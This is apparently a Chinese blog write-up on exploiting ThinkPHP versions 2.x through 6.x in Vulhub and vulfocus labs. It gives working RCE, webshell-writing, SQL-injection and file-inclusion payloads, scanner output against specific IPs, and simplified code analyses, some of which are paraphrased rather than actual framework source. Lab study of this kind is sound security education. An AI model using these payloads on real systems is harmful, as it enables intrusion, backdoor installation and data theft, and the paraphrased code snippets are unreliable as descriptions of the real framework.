ThinkPHP 各版本框架漏洞整理
ThinkPHP漏洞利用
本文使用的工具来自于天狐工具箱中的Thinkphp框架利用工具
概述
框架特性与版本识别
ThinkPHP 是国内广泛使用的 PHP 开发框架,基于 MVC 模式设计,具有轻量级、高效灵活等特点。不同版本的安全机制差异较大,版本识别是漏洞利用的前提:
- 识别方法:
- 查看 HTTP 响应头的
X-Powered-By
字段(部分版本会显示) - 触发 404/500 错误页面,框架常暴露版本信息(如
ThinkPHP V5.0.24
) - 分析目录结构(如
Application/Runtime/
为 3.x 特征,vendor/topthink/
为 5.x + 特征) - 检查默认文件(如
composer.json
中topthink/framework
的版本号)
- 查看 HTTP 响应头的
- 版本安全特性:
- 2.x:无严格过滤机制,存在大量
preg_replace /e
代码执行漏洞 - 3.x:引入基础过滤,但日志文件管理缺陷导致泄露风险
- 5.x:重构内核,增加安全机制,但初期版本存在多处 RCE 漏洞
- 6.x:强化输入验证,漏洞数量减少,但仍有特定场景风险
- 2.x:无严格过滤机制,存在大量
2.x/3.0 远程代码执行漏洞
环境搭建
进入Vulhub
cd vulhub-master\thinkphp\2-rce
docker compose up -d
漏洞利用
核心原理:利用preg_replace
函数的/e
修饰符代码执行特性。
-
基础 Payload:
# PATHINFO模式 http://your-ip:8080/index.php/Index/index/name/${@phpinfo()} # 兼容模式(不支持PATHINFO时) http://your-ip:8080/index.php?s=/Index/index/name/${@phpinfo()}
-
进阶利用:
- 执行系统命令:
${@system('whoami')}
- 写入 webshell:
${@file_put_contents('shell.php','<?php @eval($_POST[1]);?>')}
- 执行系统命令:
效果验证:访问后页面会显示phpinfo()
信息或命令执行结果。
利用工具验证
payload:
?s=/index/index/name/${@phpinfo()}
漏洞剖析
漏洞位于/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
的 URL 路由解析逻辑:
// 简化后的关键代码
$regx = "/(\w+)\/([^\/]+)/";
preg_replace($regx, '$var[\'\\1\']="\\2";', $path);
preg_replace
的/e
修饰符会将替换字符串作为 PHP 代码执行- 正则匹配
模块/控制器/参数名/参数值
结构,攻击者可控制参数值
部分 - 通过
${}
语法(PHP 变量解析特性),将参数值
构造为可执行代码(如${@phpinfo()}
) - URL 路径中偶数位置的参数会被解析为执行代码(如
/a/b/${code}/c/d
中${code}
会被执行)
3.2.x LOG RCE漏洞复现
ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
环境搭建
漏洞利用
核心原理:模板赋值函数assign
参数可控导致文件包含。
-
步骤 1:触发日志记录
访问包含可控参数的页面,让恶意代码被写入日志(默认开启 DEBUG 模式):?m=Home&c=Index&a=index&value=<?php phpinfo();?>
-
步骤 2:查找日志文件路径
日志默认路径为:# DEBUG模式 Application/Runtime/Logs/Home/年_月_日.log # 非DEBUG模式 Application/Runtime/Logs/Common/年_月_日.log
例如:
http://your-ip:8080/Application/Runtime/Logs/Home/25_07_18.log
-
步骤 3:包含日志文件执行代码
通过assign
覆盖模板路径,包含日志文件:http://your-ip:8080/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/25_07_18.log
报错查看信息
利用工具验证
对应poc
[+] 存在ThinkPHP 3.x 日志泄露
Payload: http://123.58.224.8:53722//Application/Runtime/Logs/Admin/25_07_18.log
[+] 存在ThinkPHP 3.x Log RCE
Payload: http://123.58.224.8:53722//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/25_07_18.log
直接访问日志,phpinfo已经写入
漏洞剖析
漏洞源于代码中不安全的assign
调用:
// Application/Home/Controller/IndexController.class.php
public function index($value=''){
$this->assign($value); // $value参数可控
$this->display(); // 渲染模板时会加载指定文件
}
assign($value)
允许传入数组覆盖模板变量,当$value
为['_filename' => '恶意路径']
时display()
方法会加载_filename
指定的文件,若文件包含 PHP 代码则会执行- 结合日志文件自动记录请求参数的特性,可将恶意代码写入日志后通过包含执行
5.x 远程代码执行漏洞1(5.0-5.0.24)
ThinkPHP 5 最出名的就是RCE,RCE又有两个大版本的区别,下面分两个版本进行展示:
- ThinkPHP 5.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
环境搭建
进入Vulhub
cd vulhub-master\thinkphp\5-rce
docker compose up -d
搭建效果如下图
漏洞利用
核心原理:Request 类的method
方法未正确过滤_method
参数,导致构造函数注入。
-
Payload:
# 请求URL http://your-ip:8080/?s=captcha # POST数据 _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
-
利用扩展:
- 执行命令:
filter[]=system&server[REQUEST_METHOD]=whoami
- 写入 webshell:
filter[]=file_put_contents&server[REQUEST_METHOD]=shell.php&server[PATH_INFO]=<?php @eval($_POST[1]);?>
- 执行命令:
报错查看信息
利用工具进行验证
实际利用payload:
[+] 存在ThinkPHP 5.0.23 RCE
Payload: http://localhost:8080//?s=captcha&test=-1
Post: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
漏洞剖析
漏洞位于think\Request
类的method
方法:
public function method($method = false) {
if (true === $method) {
// 获取原始请求方法
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
// 这里未过滤用户输入,可触发__construct方法
$this->{$this->method}();
} elseif (isset($_SERVER['REQUEST_METHOD'])) {
$this->method = strtoupper($_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}
- 当
_method=__construct
时,会调用类的构造函数 - 构造函数可接收
filter
参数,并将其设置为成员变量 - 后续框架会使用
filter
参数处理输入,若filter
为phpinfo
等函数,则会执行对应代码
5.x 远程代码执行漏洞2(5.1.0-5.1.30)
环境搭建
thinkphp 代码执行 (CNVD-2018-24942)
这里使用的是vulfocus的靶场环境进行测试的
漏洞利用
核心原理:框架对控制器方法调用的参数过滤不严,导致函数注入。
-
典型 Payload:
# 利用Container类执行函数 http://your-ip:8080/?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 # 利用Request类input方法 http://your-ip:8080/?s=index/\think\Request/input&filter[]=phpinfo&data=-1
-
漏洞验证:访问后页面显示
phpinfo()
信息即成功。
利用工具检测
[+] 存在ThinkPHP 5.0 RCE
Payload: http://123.58.224.8:24421//?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[-] 不存在ThinkPHP 5.0.10 construct RCE
[+] 存在ThinkPHP 5.0.22/5.1.29 RCE
Payload: http://123.58.224.8:24421//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[-] 不存在ThinkPHP 5.0.23 RCE
[+] 存在ThinkPHP 5.0.24-5.1.30 RCE
Payload: http://123.58.224.8:24421//?s=index/\think\Request/input&filter[]=phpinfo&data=-1
[-] 不存在ThinkPHP update sql注入
[+] 存在ThinkPHP 5 文件包含漏洞
Payload: http://123.58.224.8:24421//?s=index/\think\Lang/load&file=/etc/passwd
漏洞剖析
以invokefunction
方法为例:
public function invokefunction($function, $vars = []) {
if (is_array($function)) {
// 类方法调用
[$class, $method] = $function;
return (new $class)->$method(...$vars);
} elseif (is_callable($function)) {
return $function(...$vars); // 直接调用传入的函数
}
}
- 攻击者通过 URL 参数控制
function
和vars
,使function=call_user_func_array
call_user_func_array
可调用任意函数,vars[0]
为函数名,vars[1]
为参数数组- 当
vars[0]=phpinfo
时,最终执行call_user_func_array('phpinfo', [-1])
,触发代码执行
5.x SQL 注入与敏感信息泄露
环境搭建
进入Vulhub
cd vulhub-master\thinkphp\in-sqlinjection
docker compose up -d # 启动后为空白页面,需通过Payload触发漏洞
搭建好后是空白页面
漏洞利用
核心原理:where
条件构造时未过滤数组键名,导致 SQL 注入。
-
报错注入 Payload:
http://your-ip:8080/index.php?ids[0,updatexml(0,concat(0xa,user(),0xa),0)]=1
执行后会显示数据库用户信息(如
root@localhost
)。 -
信息泄露利用:
- 获取数据库版本:
ids[0,updatexml(0,concat(0xa,version()),0)]=1
- 读取文件:
ids[0,load_file('/etc/passwd')]=1
(需数据库权限)
- 获取数据库版本:
利用报错来查看版本信息
利用工具进行测试
[+] 存在ThinkPHP 5 SQL注入漏洞 && 敏感信息泄露
Payload: http://localhost//index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
[+] 存在ThinkPHP 5.x 数据库信息泄露
Payload: username:root hostname:mysql password:root database:cat
这里主要展示sql注入
漏洞剖析
漏洞位于模型的where
方法参数处理逻辑:
// 简化代码
public function where($where, $op = null, $condition = null) {
if (is_array($where)) {
foreach ($where as $key => $val) {
// 键名直接拼接进SQL,未过滤特殊字符
$this->query .= " AND $key = $val";
}
}
return $this;
}
- 当
where
参数为数组时,键名被直接作为 SQL 条件的字段名 - 攻击者构造
ids[0,updatexml(...)]=1
,键名被解析为0,updatexml(...)
- 最终生成的 SQL 包含
updatexml
函数,通过报错泄露信息
thinkphp lang 文件包含漏洞
环境搭建
进入Vulhub
cd vulhub-master\thinkphp\in-sqlinjection
docker compose up -d
实际效果如下
漏洞利用
核心原理:lang
参数控制语言包加载路径,导致目录遍历与文件包含。
-
文件包含 Payload:
# 读取系统文件 http://your-ip:8080/?lang=../../../../../etc/passwd # 包含日志文件(需结合日志泄露) http://your-ip:8080/?lang=../../../../../runtime/logs/202507/20.log
-
利用条件:
- 框架开启多语言配置(
lang_switch_on=true
) - 未限制
lang
参数的目录遍历(无realpath
过滤)
- 框架开启多语言配置(
利用工具进行测试
实际利用payload
[+] 存在ThinkPHP 6 文件包含漏洞
Payload: http://192.168.31.142:8084/?lang=../../../../../public/index
(注意漏洞利用条件苛刻,最好结合手动利用;工具不可执行命令,可尝试点击GETSHELL按钮!)
漏洞剖析
语言包加载逻辑:
public function load($file, $range = '') {
$file = $this->getLangFile($file);
if (is_file($file)) {
return include $file; // 直接包含指定文件
}
}
private function getLangFile($file) {
return $this->langPath . $file . '.php'; // 拼接路径,未过滤../
}
lang
参数直接传入load
方法,拼接为langPath + $file + .php
- 通过
../../
遍历目录,可访问任意.php
文件或无后缀文件 - 若包含文件含 PHP 代码(如日志中的恶意代码),则会执行
参考博客
该微信公众号讲述了诸如spring,thinkphp,nacos等全漏洞利用方法以及工具
下面这篇文章详细讲述了ThinkPHP 5.x两种RCE漏洞原理,分析反射链
thinkphp漏洞分析与总结 · Drunkmars's Blog
下边是上文概括的一些漏洞文件
- ThinkPHP 5.x 远程代码执行漏洞1
本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制,而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。
- ThinkPHP 5.x 远程代码执行漏洞2
该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中
Think PHP漏洞总结(全系列) - lingzhi_sec - 博客园
该博客对各个版本的漏洞都有涉猎,简单进行演示